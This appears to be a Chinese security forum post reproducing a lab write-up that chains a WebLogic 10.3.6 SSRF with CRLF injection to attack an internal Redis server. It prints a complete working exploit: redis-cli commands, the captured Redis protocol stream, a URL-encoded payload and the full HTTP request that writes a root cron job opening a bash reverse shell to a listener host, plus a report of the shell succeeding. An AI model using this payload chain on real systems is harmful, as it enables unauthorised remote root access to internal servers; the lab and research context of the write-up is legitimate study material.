from: https://forum.90sec.org/forum.php?mod=viewthread&tid=9679
测试环境:
WebLogic Server 版本: 10.3.6.0
windows server r2 2008 x64
IP地址:192.168.224.135
redis版本:redis-3.0.7
Red Hat Enterprise Linux Server release 5.8
IP地址:192.168.224.137
远程监听主机IP地址:192.168.224.130
Redis 任意文件写入现在已经成为十分常见的一个漏洞,一般内网中会存在 root 权限运行的 Redis 服务,这里测试利用 http协议攻击内网中的 Redis,这无疑可以隔山打牛,直杀内网。
首先了解一下通常攻击 Redis 的命令,然后转化为 http可用的协议。常见的 exp 是这样的:
redis-cli -h $1 flushall
echo -e "nn*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1nn"|redis-cli -h $1 -x set 1
redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save
redis-cli -h $1 quit
利用nc或socat监听6379端口,然后再用这个脚本攻击自身或者其他监听6379主机,并抓包得到数据流:
nc -l -vv -p 6379
nc监听的话回车换行的话,不明显:
用socat -v tcp-listen:6379,forktcp-connect:localhost:6379 监听:
最后完整的数据,$数字标识数据长度,*数字不知道标识什么:
*1r
$8r
flushallr
*3r
$3r
setr
$1r
1r
$63r (除去反弹ip端口字符串,剩余43)
*/1 * * * * bash -i >& /dev/tcp/192.168.224.130/55555 0>&1
r
*4r
$6r
configr
$3r
setr
$3r
dirr
$16r
/var/spool/cron/r
*4r
$6r
configr
$3r
setr
$10r
dbfilenamer
$4r
rootr
*1r
$4r
saver
*1r
$4r
quitr
ssrf
/uddiexplorer/SearchPublicRegistries.jsp?operator=http://www.baidu.com:80&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
如何构造url请求,先看乌云峰会猪猪侠两张图片:
利用CRLF HTTP头注入,在完整的数据包上构造利用代码:
http://192.168.224.137:6379/test%0d%0a*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$63%0d%0a%0a%0a*/1 * * * * bash -i >%26 /dev/tcp/192.168.224.130/55555 0>%261%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a
然后请求
GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://192.168.224.137:6379/test%0d%0a*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$63%0d%0a%0a%0a*/1 * * * * bash -i >%26 /dev/tcp/192.168.224.130/55555 0>%261%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search HTTP/1.1
Host: 192.168.224.135:7001
测试过程如图:
启动redis服务,同时130上监听55555端口:
此时计划任务为空
请求利用代码发包
已经接收到恶意数据,保存:
已经写入计划任务
130上成功反弹到shell:
顺便说下,官方最新redis测试没有成功,貌似未授权补了。当然了,利用还有很多,欢迎大家探讨。
参考:https://blog.chaitin.com/gopher-attack-surfaces/
参考:http://fuzz.wuyun.org/src/build_your_ssrf_exp_autowork.pdf
本文始发于微信公众号(关注安全技术):小记weblogic_ssrf入侵redis测试
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论